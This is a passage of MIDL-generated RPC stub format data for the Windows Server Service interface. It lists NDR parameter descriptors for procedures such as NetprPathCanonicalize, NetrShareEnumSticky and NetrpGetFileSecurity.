0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1632 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter PathType */\n\n/* 1634 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1636 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1638 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1640 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1642 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1644 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1646 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1648 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1650 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetprPathCanonicalize */\n\n/* 1652 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1654 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1658 */\tNdrFcShort( 0x1f ),\t/* 31 */\n/* 1660 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1662 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1664 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1666 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1668 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1670 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1672 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 1674 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1676 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1678 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1680 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1682 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1684 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1686 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1688 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter PathName */\n\n/* 1690 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1692 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1694 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Outbuf */\n\n/* 1696 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1698 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1700 */\tNdrFcShort( 0xc58 ),\t/* Type Offset=3160 */\n\n\t/* Parameter OutbufLen */\n\n/* 1702 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1704 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1706 */\tNdrFcShort( 0xc6e ),\t/* 3182 */\n\n\t/* Parameter Prefix */\n\n/* 1708 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1710 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1712 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter PathType */\n\n/* 1714 */\tNdrFcShort( 0x158 ),\t/* Flags:  in, out, base type, simple ref, */\n/* 1716 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1718 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1720 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1722 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1724 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1726 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1728 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1730 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetprPathCompare */\n\n/* 1732 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1734 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1738 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1740 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1742 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1744 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1746 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1748 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1750 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1752 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1754 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1756 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1758 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1760 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1762 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1764 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1766 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1768 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter PathName1 */\n\n/* 1770 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1772 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1774 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter PathName2 */\n\n/* 1776 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1778 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1780 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter PathType */\n\n/* 1782 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1784 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1786 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1788 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1790 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1792 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1794 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1796 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1798 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetprNameValidate */\n\n/* 1800 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1802 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1806 */\tNdrFcShort( 0x21 ),\t/* 33 */\n/* 1808 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1810 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1812 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1814 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1816 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1818 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1820 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1822 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1824 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1826 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1828 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1830 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1832 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1834 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1836 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Name */\n\n/* 1838 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1840 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1842 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter NameType */\n\n/* 1844 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1846 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1848 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1850 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1852 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1854 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1856 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1858 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1860 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetprNameCanonicalize */\n\n/* 1862 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1864 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1868 */\tNdrFcShort( 0x22 ),\t/* 34 */\n/* 1870 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1872 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1874 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1876 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1878 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1880 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1882 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1884 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1886 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1888 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1890 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1892 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1894 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1896 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1898 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Name */\n\n/* 1900 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1902 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1904 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Outbuf */\n\n/* 1906 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1908 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1910 */\tNdrFcShort( 0xc80 ),\t/* Type Offset=3200 */\n\n\t/* Parameter OutbufLen */\n\n/* 1912 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1914 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1916 */\tNdrFcShort( 0xc96 ),\t/* 3222 */\n\n\t/* Parameter NameType */\n\n/* 1918 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1920 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1922 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1924 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1926 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1928 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1930 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1932 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1934 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetprNameCompare */\n\n/* 1936 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1938 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1942 */\tNdrFcShort( 0x23 ),\t/* 35 */\n/* 1944 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1946 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1948 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1950 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1952 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1954 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1956 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1958 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1962 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1964 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1966 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1968 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1970 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1972 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Name1 */\n\n/* 1974 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1976 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1978 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Name2 */\n\n/* 1980 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1982 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1984 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter NameType */\n\n/* 1986 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1988 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1990 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1992 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1994 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1996 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1998 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2000 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2002 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareEnumSticky */\n\n/* 2004 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2006 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2010 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2012 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2014 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2016 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2018 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2020 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2022 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2024 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 2026 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2028 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2030 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2032 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2034 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2036 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2038 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2040 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 2042 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 2044 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2046 */\tNdrFcShort( 0x700 ),\t/* Type Offset=1792 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 2048 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2050 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2052 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 2054 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2056 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2058 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 2060 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 2062 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2064 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 2066 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2068 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2070 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareDelStart */\n\n/* 2072 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2074 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2078 */\tNdrFcShort( 0x25 ),\t/* 37 */\n/* 2080 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2082 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2084 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2086 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2088 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2090 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2092 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 2094 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2096 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2098 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2100 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2102 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2104 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2106 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2108 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NetName */\n\n/* 2110 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2112 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2114 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Reserved */\n\n/* 2116 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2118 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2120 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ContextHandle */\n\n/* 2122 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 2124 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2126 */\tNdrFcShort( 0xca4 ),\t/* Type Offset=3236 */\n\n\t/* Return value */\n\n/* 2128 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2130 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2132 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareDelCommit */\n\n/* 2134 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2136 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2140 */\tNdrFcShort( 0x26 ),\t/* 38 */\n/* 2142 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2144 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 2146 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2148 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2150 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 2152 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2154 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 2156 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2158 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2160 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2162 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2164 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ContextHandle */\n\n/* 2166 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 2168 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2170 */\tNdrFcShort( 0xcac ),\t/* Type Offset=3244 */\n\n\t/* Return value */\n\n/* 2172 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2174 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2176 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrpGetFileSecurity */\n\n/* 2178 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2180 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2184 */\tNdrFcShort( 0x27 ),\t/* 39 */\n/* 2186 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2188 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2190 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2192 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2194 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2196 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2198 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 2200 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 2202 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2206 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 2210 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2212 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2214 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ShareName */\n\n/* 2216 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2218 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2220 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter lpFileName */\n\n/* 2222 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2224 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2226 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter RequestedInformation */\n\n/* 2228 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2230 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2232 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter SecurityDescriptor */\n\n/* 2234 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 2236 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2238 */\tNdrFcShort( 0xcb0 ),\t/* Type Offset=3248 */\n\n\t/* Return value */\n\n/* 2240 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2242 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2244 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrpSetFileSecurity */\n\n/* 2246 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2248 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2252 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2254 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2256 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2258 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2260 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2262 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2264 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2266 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 2268 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2270 